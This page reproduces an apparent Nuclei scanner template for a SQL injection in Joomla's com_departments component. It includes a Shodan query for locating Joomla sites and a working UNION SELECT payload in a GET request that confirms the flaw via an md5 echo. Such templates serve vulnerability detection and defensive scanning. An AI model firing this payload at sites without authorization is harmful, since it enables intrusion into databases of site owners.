joomla-department-sqli: Joomla `departments` - SQL Injection

2025-08-01 Joomla PoC Public

Description

Joomla! `com_departments` parameter contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

PoC

id: joomla-department-sqli

info:
  name: Joomla `departments` - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Joomla! `com_departments` parameter contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/opensec-cn/kunpeng/blob/master/plugin/json/joomla_departments_sqli.json
    - https://github.com/w3bd0gs/cocoworker/blob/master/plugins/beebeeto/poc_2014_0170.py
  classification:
    cwe-id: CWE-89
  metadata:
    max-request: 1
    shodan-query: http.component:"Joomla"
  tags: joomla,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5({{num}}),3,4,5,6,7,8--"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
# digest: 4b0a00483046022100d1087234a8bed4a2529165b9833f95e7237a7f7ffb9e6b98b45a70f63ee3b8ad0221009e9af0be84b81913fc31c343774db56dec64dc3a96facb3131be2027038bf0cb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/joomla/joomla-department-sqli.yaml

References

Related Vulnerabilities